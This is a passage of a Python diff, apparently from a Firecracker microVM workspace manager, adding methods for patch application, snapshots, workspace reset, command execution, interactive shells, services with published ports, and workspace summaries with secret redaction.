path_text in sorted(planned_writes): + self._backend.write_workspace_file( + instance, + workspace_path=path_text, + text=planned_writes[path_text], + ) + for path_text in sorted(planned_deletes): + self._backend.delete_workspace_path( + instance, + workspace_path=path_text, + ) + + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._record_workspace_review_event_locked( + workspace_id, + event_kind="patch_apply", + payload={ + "summary": dict(summary), + "entries": [dict(entry) for entry in entries[:10]], + "execution_mode": str(instance.metadata.get("execution_mode", "pending")), + }, + ) + self._save_workspace_locked(workspace) + return { + "workspace_id": workspace_id, + "changed": bool(entries), + "summary": summary, + "entries": entries, + "patch": patch_text, + "execution_mode": instance.metadata.get("execution_mode", "pending"), + } + + def create_snapshot( + self, + workspace_id: str, + snapshot_name: str, + ) -> dict[str, Any]: + normalized_snapshot_name = _normalize_workspace_snapshot_name(snapshot_name) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._workspace_baseline_snapshot_locked(workspace) + if ( + self._load_workspace_snapshot_locked_optional( + workspace_id, + normalized_snapshot_name, + ) + is not None + ): + raise ValueError( + f"snapshot {normalized_snapshot_name!r} already exists in workspace " + f"{workspace_id!r}" + ) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="workspace_snapshot_create", + ) + with tempfile.TemporaryDirectory(prefix="pyro-workspace-snapshot-") as temp_dir: + temp_archive_path = Path(temp_dir) / f"{normalized_snapshot_name}.tar" + exported = self._backend.export_archive( + instance, + workspace_path=WORKSPACE_GUEST_PATH, + archive_path=temp_archive_path, + ) + snapshot = WorkspaceSnapshotRecord( + workspace_id=workspace_id, + snapshot_name=normalized_snapshot_name, + kind="named", + created_at=time.time(), + entry_count=int(exported["entry_count"]), + bytes_written=int(exported["bytes_written"]), + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + if ( + self._load_workspace_snapshot_locked_optional( + workspace_id, + normalized_snapshot_name, + ) + is not None + ): + raise ValueError( + f"snapshot {normalized_snapshot_name!r} already exists in workspace " + f"{workspace_id!r}" + ) + archive_path = self._workspace_snapshot_archive_path( + workspace_id, + normalized_snapshot_name, + ) + archive_path.parent.mkdir(parents=True, exist_ok=True) + shutil.copy2(temp_archive_path, archive_path) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + self._save_workspace_snapshot_locked(snapshot) + self._record_workspace_review_event_locked( + workspace_id, + event_kind="snapshot_create", + payload={ + "snapshot_name": snapshot.snapshot_name, + "kind": snapshot.kind, + "entry_count": snapshot.entry_count, + "bytes_written": snapshot.bytes_written, + "created_at": snapshot.created_at, + }, + ) + return { + "workspace_id": workspace_id, + "snapshot": self._serialize_workspace_snapshot(snapshot), + "execution_mode": instance.metadata.get("execution_mode", "pending"), + } + + def list_snapshots(self, workspace_id: str) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + snapshots = self._list_workspace_snapshots_locked(workspace) + return { + "workspace_id": workspace_id, + "count": len(snapshots), + "snapshots": [ + self._serialize_workspace_snapshot(snapshot) for snapshot in snapshots + ], + } + + def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + normalized_snapshot_name = _normalize_workspace_snapshot_name( + snapshot_name, + allow_baseline=True, + ) + if normalized_snapshot_name == "baseline": + raise ValueError("cannot delete the baseline snapshot") + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._workspace_baseline_snapshot_locked(workspace) + self._load_workspace_snapshot_locked(workspace_id, normalized_snapshot_name) + self._delete_workspace_snapshot_locked(workspace_id, normalized_snapshot_name) + self._touch_workspace_activity_locked(workspace) + self._record_workspace_review_event_locked( + workspace_id, + event_kind="snapshot_delete", + payload={"snapshot_name": normalized_snapshot_name}, + ) + self._save_workspace_locked(workspace) + return { + "workspace_id": workspace_id, + "snapshot_name": normalized_snapshot_name, + "deleted": True, + } + + def reset_workspace( + self, + workspace_id: str, + *, + snapshot: str = "baseline", + ) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + selected_snapshot, archive_path = self._resolve_workspace_snapshot_locked( + workspace, + snapshot, + ) + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + self._stop_workspace_services_locked(workspace, instance) + self._close_workspace_shells_locked(workspace, instance) + if workspace.state == "started": + self._backend.stop(instance) + workspace.state = "stopped" + self._backend.delete(instance) + workspace.state = "stopped" + workspace.firecracker_pid = None + workspace.last_error = None + self._reset_workspace_runtime_dirs(workspace_id) + self._save_workspace_locked(workspace) + recreated: VmInstance | None = None + try: + recreated = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + self._require_workspace_network_policy_support(network_policy=workspace.network_policy) + self._backend.create(recreated) + if self._runtime_capabilities.supports_guest_exec: + self._ensure_workspace_guest_bootstrap_support(recreated) + with self._lock: + self._start_instance_locked(recreated) + workspace = self._load_workspace_locked(workspace_id) + if workspace.secrets: + self._install_workspace_secrets_locked(workspace, recreated) + self._require_guest_exec_or_opt_in(recreated) + reset_summary = self._backend.import_archive( + recreated, + archive_path=archive_path, + destination=WORKSPACE_GUEST_PATH, + ) + workspace = self._load_workspace_locked(workspace_id) + workspace.state = recreated.state + workspace.firecracker_pid = recreated.firecracker_pid + workspace.last_error = recreated.last_error + workspace.metadata = dict(recreated.metadata) + workspace.command_count = 0 + workspace.last_command = None + workspace.reset_count += 1 + workspace.last_reset_at = time.time() + self._touch_workspace_activity_locked(workspace, when=workspace.last_reset_at) + self._save_workspace_locked(workspace) + payload = self._serialize_workspace(workspace) + except Exception: + try: + if recreated is not None and recreated.state == "started": + self._backend.stop(recreated) + except Exception: + pass + try: + if recreated is not None: + self._backend.delete(recreated) + except Exception: + pass + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = "stopped" + workspace.firecracker_pid = None + workspace.last_error = None + self._save_workspace_locked(workspace) + raise + payload["workspace_reset"] = { + "snapshot_name": selected_snapshot.snapshot_name, + "kind": selected_snapshot.kind, + "destination": str(reset_summary["destination"]), + "entry_count": int(reset_summary["entry_count"]), + "bytes_written": int(reset_summary["bytes_written"]), + } + return payload + + def exec_workspace( + self, + workspace_id: str, + *, + command: str, + timeout_seconds: int = 30, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + if timeout_seconds <= 0: + raise ValueError("timeout_seconds must be positive") + normalized_secret_env = _normalize_workspace_secret_env_mapping(secret_env) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + if workspace.state != "started": + raise RuntimeError( + f"workspace {workspace_id} must be in 'started' state before workspace_exec" + ) + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + redact_values = self._workspace_secret_redact_values_locked(workspace) + env_values = self._workspace_secret_env_values_locked(workspace, normalized_secret_env) + if workspace.secrets and normalized_secret_env: + self._install_workspace_secrets_locked(workspace, instance) + try: + exec_result, execution_mode = self._exec_instance( + instance, + command=command, + timeout_seconds=timeout_seconds, + host_workdir=self._workspace_host_dir(workspace.workspace_id), + guest_cwd=WORKSPACE_GUEST_PATH, + env=env_values or None, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc + redacted_exec_result = VmExecResult( + stdout=_redact_text(exec_result.stdout, redact_values), + stderr=_redact_text(exec_result.stderr, redact_values), + exit_code=exec_result.exit_code, + duration_ms=exec_result.duration_ms, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + entry = self._record_workspace_command_locked( + workspace, + command=command, + exec_result=redacted_exec_result, + execution_mode=execution_mode, + cwd=WORKSPACE_GUEST_PATH, + ) + self._save_workspace_locked(workspace) + return { + "workspace_id": workspace_id, + "environment": workspace.environment, + "environment_version": workspace.metadata.get("environment_version"), + "command": command, + "stdout": redacted_exec_result.stdout, + "stderr": redacted_exec_result.stderr, + "exit_code": redacted_exec_result.exit_code, + "duration_ms": redacted_exec_result.duration_ms, + "execution_mode": execution_mode, + "sequence": entry["sequence"], + "cwd": WORKSPACE_GUEST_PATH, + } + + def open_shell( + self, + workspace_id: str, + *, + cwd: str = WORKSPACE_GUEST_PATH, + cols: int = DEFAULT_SHELL_COLS, + rows: int = DEFAULT_SHELL_ROWS, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + if cols <= 0: + raise ValueError("cols must be positive") + if rows <= 0: + raise ValueError("rows must be positive") + normalized_cwd, _ = _normalize_workspace_destination(cwd) + normalized_secret_env = _normalize_workspace_secret_env_mapping(secret_env) + shell_id = uuid.uuid4().hex[:12] + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_shell_locked(workspace) + redact_values = self._workspace_secret_redact_values_locked(workspace) + env_values = self._workspace_secret_env_values_locked(workspace, normalized_secret_env) + if workspace.secrets and normalized_secret_env: + self._install_workspace_secrets_locked(workspace, instance) + try: + payload = self._backend.open_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + cwd=normalized_cwd, + cols=cols, + rows=rows, + env=env_values or None, + redact_values=redact_values, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc + shell = self._workspace_shell_record_from_payload( + workspace_id=workspace_id, + shell_id=shell_id, + payload=payload, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + self._save_workspace_shell_locked(shell) + return self._serialize_workspace_shell(shell) + + def read_shell( + self, + workspace_id: str, + shell_id: str, + *, + cursor: int = 0, + max_chars: int = DEFAULT_SHELL_MAX_CHARS, + plain: bool = False, + wait_for_idle_ms: int | None = None, + ) -> dict[str, Any]: + if cursor < 0: + raise ValueError("cursor must not be negative") + if max_chars <= 0: + raise ValueError("max_chars must be positive") + if wait_for_idle_ms is not None and ( + wait_for_idle_ms <= 0 or wait_for_idle_ms > MAX_SHELL_WAIT_FOR_IDLE_MS + ): + raise ValueError(f"wait_for_idle_ms must be between 1 and {MAX_SHELL_WAIT_FOR_IDLE_MS}") + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_shell_locked(workspace) + shell = self._load_workspace_shell_locked(workspace_id, shell_id) + redact_values = self._workspace_secret_redact_values_locked(workspace) + try: + if wait_for_idle_ms is None: + payload = self._backend.read_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + cursor=cursor, + max_chars=max_chars, + ) + else: + payload = self._read_shell_with_idle_wait( + instance=instance, + workspace_id=workspace_id, + shell_id=shell_id, + cursor=cursor, + max_chars=max_chars, + wait_for_idle_ms=wait_for_idle_ms, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc + updated_shell = self._workspace_shell_record_from_payload( + workspace_id=workspace_id, + shell_id=shell_id, + payload=payload, + metadata=shell.metadata, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + self._save_workspace_shell_locked(updated_shell) + raw_output = _redact_text(str(payload.get("output", "")), redact_values) + rendered_output = render_plain_shell_output(raw_output) if plain else raw_output + truncated = bool(payload.get("truncated", False)) + if plain and len(rendered_output) > max_chars: + rendered_output = rendered_output[:max_chars] + truncated = True + response = self._serialize_workspace_shell(updated_shell) + response.update( + { + "cursor": int(payload.get("cursor", cursor)), + "next_cursor": int(payload.get("next_cursor", cursor)), + "output": rendered_output, + "truncated": truncated, + "plain": plain, + "wait_for_idle_ms": wait_for_idle_ms, + } + ) + return response + + def _read_shell_with_idle_wait( + self, + *, + instance: VmInstance, + workspace_id: str, + shell_id: str, + cursor: int, + max_chars: int, + wait_for_idle_ms: int, + ) -> dict[str, Any]: + wait_seconds = wait_for_idle_ms / 1000 + current_cursor = cursor + remaining_chars = max_chars + raw_chunks: list[str] = [] + last_payload: dict[str, Any] | None = None + saw_output = False + deadline = time.monotonic() + wait_seconds + while True: + payload = self._backend.read_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + cursor=current_cursor, + max_chars=remaining_chars, + ) + last_payload = payload + next_cursor = int(payload.get("next_cursor", current_cursor)) + chunk = str(payload.get("output", "")) + advanced = next_cursor > current_cursor or bool(chunk) + if advanced: + saw_output = True + if chunk: + raw_chunks.append(chunk) + consumed = max(0, next_cursor - current_cursor) + current_cursor = next_cursor + remaining_chars = max(0, remaining_chars - consumed) + deadline = time.monotonic() + wait_seconds + if remaining_chars <= 0 or str(payload.get("state", "")) != "running": + break + time.sleep(SHELL_IDLE_POLL_INTERVAL_SECONDS) + continue + if str(payload.get("state", "")) != "running": + break + if time.monotonic() >= deadline: + break + if not saw_output and wait_seconds <= 0: + break + time.sleep(SHELL_IDLE_POLL_INTERVAL_SECONDS) + if last_payload is None: + raise RuntimeError(f"shell {shell_id} did not return a read payload") + if current_cursor == cursor: + return last_payload + aggregated = dict(last_payload) + aggregated["cursor"] = cursor + aggregated["next_cursor"] = current_cursor + aggregated["output"] = "".join(raw_chunks) + aggregated["truncated"] = bool(last_payload.get("truncated", False)) or remaining_chars <= 0 + return aggregated + + def write_shell( + self, + workspace_id: str, + shell_id: str, + *, + input_text: str, + append_newline: bool = True, + ) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_shell_locked(workspace) + shell = self._load_workspace_shell_locked(workspace_id, shell_id) + redact_values = self._workspace_secret_redact_values_locked(workspace) + try: + payload = self._backend.write_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + input_text=input_text, + append_newline=append_newline, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc + updated_shell = self._workspace_shell_record_from_payload( + workspace_id=workspace_id, + shell_id=shell_id, + payload=payload, + metadata=shell.metadata, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + self._save_workspace_shell_locked(updated_shell) + response = self._serialize_workspace_shell(updated_shell) + response.update( + { + "input_length": int(payload.get("input_length", len(input_text))), + "append_newline": bool(payload.get("append_newline", append_newline)), + } + ) + return response + + def signal_shell( + self, + workspace_id: str, + shell_id: str, + *, + signal_name: str = "INT", + ) -> dict[str, Any]: + normalized_signal = signal_name.upper() + if normalized_signal not in WORKSPACE_SHELL_SIGNAL_NAMES: + raise ValueError( + f"signal_name must be one of: {', '.join(WORKSPACE_SHELL_SIGNAL_NAMES)}" + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_shell_locked(workspace) + shell = self._load_workspace_shell_locked(workspace_id, shell_id) + redact_values = self._workspace_secret_redact_values_locked(workspace) + try: + payload = self._backend.signal_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + signal_name=normalized_signal, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc + updated_shell = self._workspace_shell_record_from_payload( + workspace_id=workspace_id, + shell_id=shell_id, + payload=payload, + metadata=shell.metadata, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + self._save_workspace_shell_locked(updated_shell) + response = self._serialize_workspace_shell(updated_shell) + response["signal"] = str(payload.get("signal", normalized_signal)) + return response + + def close_shell( + self, + workspace_id: str, + shell_id: str, + ) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_shell_locked(workspace) + shell = self._load_workspace_shell_locked(workspace_id, shell_id) + redact_values = self._workspace_secret_redact_values_locked(workspace) + try: + payload = self._backend.close_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc + closed_shell = self._workspace_shell_record_from_payload( + workspace_id=workspace_id, + shell_id=shell_id, + payload=payload, + metadata=shell.metadata, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + self._delete_workspace_shell_locked(workspace_id, shell_id) + response = self._serialize_workspace_shell(closed_shell) + response["closed"] = bool(payload.get("closed", True)) + return response + + def start_service( + self, + workspace_id: str, + service_name: str, + *, + command: str, + cwd: str = WORKSPACE_GUEST_PATH, + readiness: dict[str, Any] | None = None, + ready_timeout_seconds: int = DEFAULT_SERVICE_READY_TIMEOUT_SECONDS, + ready_interval_ms: int = DEFAULT_SERVICE_READY_INTERVAL_MS, + secret_env: dict[str, str] | None = None, + published_ports: list[dict[str, Any]] | None = None, + ) -> dict[str, Any]: + normalized_service_name = _normalize_workspace_service_name(service_name) + normalized_cwd, _ = _normalize_workspace_destination(cwd) + normalized_readiness = _normalize_workspace_service_readiness(readiness) + normalized_secret_env = _normalize_workspace_secret_env_mapping(secret_env) + normalized_published_ports = _normalize_workspace_published_port_specs(published_ports) + if ready_timeout_seconds <= 0: + raise ValueError("ready_timeout_seconds must be positive") + if ready_interval_ms <= 0: + raise ValueError("ready_interval_ms must be positive") + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_service_locked(workspace) + if normalized_published_ports: + if workspace.network_policy != "egress+published-ports": + raise RuntimeError( + "published ports require workspace network_policy 'egress+published-ports'" + ) + if instance.network is None: + raise RuntimeError( + "published ports require an active guest network configuration" + ) + redact_values = self._workspace_secret_redact_values_locked(workspace) + env_values = self._workspace_secret_env_values_locked(workspace, normalized_secret_env) + if workspace.secrets and normalized_secret_env: + self._install_workspace_secrets_locked(workspace, instance) + existing = self._load_workspace_service_locked_optional( + workspace_id, + normalized_service_name, + ) + if existing is not None: + existing = self._refresh_workspace_service_locked( + workspace, + instance, + existing, + ) + if existing.state == "running": + raise RuntimeError( + f"service {normalized_service_name!r} is already running in " + f"workspace {workspace_id!r}" + ) + self._delete_workspace_service_artifacts_locked( + workspace_id, + normalized_service_name, + ) + try: + payload = self._backend.start_service( + instance, + workspace_id=workspace_id, + service_name=normalized_service_name, + command=command, + cwd=normalized_cwd, + readiness=normalized_readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + env=env_values or None, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc + service = self._workspace_service_record_from_payload( + workspace_id=workspace_id, + service_name=normalized_service_name, + payload=payload, + ) + if normalized_published_ports: + assert instance.network is not None # guarded above + try: + service.published_ports = self._start_workspace_service_published_ports( + workspace=workspace, + service=service, + guest_ip=instance.network.guest_ip, + published_ports=normalized_published_ports, + ) + except Exception: + try: + failed_payload = self._backend.stop_service( + instance, + workspace_id=workspace_id, + service_name=normalized_service_name, + ) + service = self._workspace_service_record_from_payload( + workspace_id=workspace_id, + service_name=normalized_service_name, + payload=failed_payload, + published_ports=[], + ) + except Exception: + service.state = "failed" + service.stop_reason = "published_port_failed" + service.ended_at = service.ended_at or time.time() + else: + service.state = "failed" + service.stop_reason = "published_port_failed" + service.ended_at = service.ended_at or time.time() + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + self._save_workspace_service_locked(service) + self._record_workspace_review_event_locked( + workspace_id, + event_kind="service_start", + payload={ + "service_name": service.service_name, + "state": service.state, + "command": service.command, + "cwd": service.cwd, + "readiness": ( + dict(service.readiness) if service.readiness is not None else None + ), + "ready_at": service.ready_at, + "published_ports": [ + _serialize_workspace_published_port_public(published_port) + for published_port in service.published_ports + ], + }, + ) + return self._serialize_workspace_service(service) + + def list_services(self, workspace_id: str) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_service_locked(workspace) + services = self._refresh_workspace_services_locked(workspace, instance) + self._save_workspace_locked(workspace) + serialized = [self._serialize_workspace_service(service) for service in services] + return { + "workspace_id": workspace_id, + "count": len(serialized), + "running_count": sum(1 for item in serialized if item["state"] == "running"), + "services": serialized, + } + + def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + normalized_service_name = _normalize_workspace_service_name(service_name) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_service_locked(workspace) + service = self._load_workspace_service_locked(workspace_id, normalized_service_name) + service = self._refresh_workspace_service_locked(workspace, instance, service) + self._save_workspace_locked(workspace) + self._save_workspace_service_locked(service) + return self._serialize_workspace_service(service) + + def logs_service( + self, + workspace_id: str, + service_name: str, + *, + tail_lines: int | None = DEFAULT_SERVICE_LOG_TAIL_LINES, + ) -> dict[str, Any]: + normalized_service_name = _normalize_workspace_service_name(service_name) + if tail_lines is not None and tail_lines <= 0: + raise ValueError("tail_lines must be positive") + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_service_locked(workspace) + service = self._load_workspace_service_locked(workspace_id, normalized_service_name) + redact_values = self._workspace_secret_redact_values_locked(workspace) + try: + payload = self._backend.logs_service( + instance, + workspace_id=workspace_id, + service_name=normalized_service_name, + tail_lines=tail_lines, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc + service = self._workspace_service_record_from_payload( + workspace_id=workspace_id, + service_name=normalized_service_name, + payload=payload, + metadata=service.metadata, + published_ports=service.published_ports, + ) + if service.published_ports: + for published_port in service.published_ports: + _stop_workspace_published_port_proxy(published_port) + service.published_ports = [ + WorkspacePublishedPortRecord( + guest_port=published_port.guest_port, + host_port=published_port.host_port, + host=published_port.host, + protocol=published_port.protocol, + proxy_pid=None, + ) + for published_port in service.published_ports + ] + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + self._save_workspace_service_locked(service) + response = self._serialize_workspace_service(service) + response.update( + { + "stdout": _redact_text(str(payload.get("stdout", "")), redact_values), + "stderr": _redact_text(str(payload.get("stderr", "")), redact_values), + "tail_lines": tail_lines, + "truncated": bool(payload.get("truncated", False)), + } + ) + return response + + def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + normalized_service_name = _normalize_workspace_service_name(service_name) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_service_locked(workspace) + service = self._load_workspace_service_locked(workspace_id, normalized_service_name) + redact_values = self._workspace_secret_redact_values_locked(workspace) + try: + payload = self._backend.stop_service( + instance, + workspace_id=workspace_id, + service_name=normalized_service_name, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc + service = self._workspace_service_record_from_payload( + workspace_id=workspace_id, + service_name=normalized_service_name, + payload=payload, + metadata=service.metadata, + published_ports=service.published_ports, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._record_workspace_review_event_locked( + workspace_id, + event_kind="service_stop", + payload={ + "service_name": service.service_name, + "state": service.state, + "exit_code": service.exit_code, + "stop_reason": service.stop_reason, + "ended_at": service.ended_at, + }, + ) + self._save_workspace_locked(workspace) + self._save_workspace_service_locked(service) + return self._serialize_workspace_service(service) + + def status_workspace(self, workspace_id: str) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + self._refresh_workspace_service_counts_locked(workspace) + self._save_workspace_locked(workspace) + return self._serialize_workspace(workspace) + + def logs_workspace(self, workspace_id: str) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + self._save_workspace_locked(workspace) + entries = self._read_workspace_logs_locked(workspace.workspace_id) + redact_values = self._workspace_secret_redact_values_locked(workspace) + redacted_entries = [] + for entry in entries: + redacted_entry = dict(entry) + redacted_entry["stdout"] = _redact_text(str(entry.get("stdout", "")), redact_values) + redacted_entry["stderr"] = _redact_text(str(entry.get("stderr", "")), redact_values) + redacted_entries.append(redacted_entry) + return { + "workspace_id": workspace.workspace_id, + "count": len(redacted_entries), + "entries": redacted_entries, + } + + def summarize_workspace(self, workspace_id: str) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + self._refresh_workspace_service_counts_locked(workspace) + self._save_workspace_locked(workspace) + + command_entries = self._read_workspace_logs_locked(workspace.workspace_id) + recent_commands = [ + { + "sequence": int(entry["sequence"]), + "command": str(entry["command"]), + "cwd": str(entry["cwd"]), + "exit_code": int(entry["exit_code"]), + "duration_ms": int(entry["duration_ms"]), + "execution_mode": str(entry["execution_mode"]), + "recorded_at": float(entry["recorded_at"]), + } + for entry in command_entries[-5:] + ] + recent_commands.reverse() + + review_events = self._list_workspace_review_events_locked(workspace.workspace_id) + + def _recent_events( + kinds: set[WorkspaceReviewEventKind], + *, + limit: int = 5, + ) -> list[dict[str, Any]]: + matched = [ + { + "event_kind": event.event_kind, + "recorded_at": event.recorded_at, + **event.payload, + } + for event in review_events + if event.event_kind in kinds + ] + matched = matched[-limit:] + matched.reverse() + return matched + + current_services = [ + self._serialize_workspace_service(service) + for service in self._list_workspace_services_locked(workspace.workspace_id) + ] + current_services.sort(key=lambda item: str(item["service_name"])) + try: + snapshots = self._list_workspace_snapshots_locked(workspace) + named_snapshot_count = max(len(snapshots) - 1, 0) + except RuntimeError: + named_snapshot_count = 0 + + service_count = len(current_services) + running_service_count = sum( + 1 for service in current_services if service["state"] == "running" + ) + execution_mode = str(workspace.metadata.get("execution_mode", "pending")) + payload: dict[str, Any] = { + "workspace_id": workspace.workspace_id, + "name": workspace.name, + "labels": dict(workspace.labels), + "environment": workspace.environment, + "state": workspace.state, + "workspace_path": WORKSPACE_GUEST_PATH, + "execution_mode": execution_mode, + "last_activity_at": workspace.last_activity_at, + "session_started_at": ( + workspace.last_reset_at + if workspace.last_reset_at is not None + else workspace.created_at + ), + "outcome": { + "command_count": workspace.command_count, + "last_command": workspace.last_command, + "service_count": service_count, + "running_service_count": running_service_count, + "export_count": sum( + 1 for event in review_events if event.event_kind == "workspace_export" + ), + "snapshot_count": named_snapshot_count, + "reset_count": workspace.reset_count, + }, + "commands": { + "total": workspace.command_count, + "recent": recent_commands, + }, + "edits": { + "recent": _recent_events({"sync_push", "file_write", "patch_apply"}), + }, + "services": { + "current": current_services, + "recent": _recent_events({"service_start", "service_stop"}), + }, + "artifacts": { + "exports": _recent_events({"workspace_export"}), + }, + "snapshots": { + "named_count": named_snapshot_count, + "recent": _recent_events({"snapshot_create", "snapshot_delete"}), + }, + } + + if payload["state"] != "started": + payload["changes"] = { + "available": False, + "reason": ( + f"workspace {workspace_id!r} must be in 'started' state before " + "workspace_summary can compute current changes" + ), + "changed": False, + "summary": None, + "entries": [], + } + return payload + + try: + diff_payload = self.diff_workspace(workspace_id) + except Exception as exc: + payload["changes"] = { + "available": False, + "reason": str(exc), + "changed": False, + "summary": None, + "entries": [], + } + return payload + + diff_entries: list[dict[str, Any]] = [] + raw_entries = diff_payload.get("entries") + if isinstance(raw_entries, list): + for entry in raw_entries[:10]: + if not isinstance(entry, dict): + continue + diff_entries.append( + {key: value for key, value in entry.items() if key != "text_patch"} + ) + payload["changes"] = { + "available": True, + "reason": None, + "changed": bool(diff_payload.get("changed", False)), + "summary": diff_payload.get("summary"), + "entries": diff_entries, + } + return payload + + def stop_workspace(self, workspace_id: str) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + try: + self._stop_workspace_services_locked(workspace, instance) + self._close_workspace_shells_locked(workspace, instance) + self._flush_workspace_filesystem_locked(workspace, instance) + if workspace.state == "started": + self._backend.stop(instance) + workspace.state = "stopped" + workspace.firecracker_pid = None + workspace.last_error = None + workspace.metadata = dict(instance.metadata) + self._scrub_workspace_runtime_state_locked(workspace) + 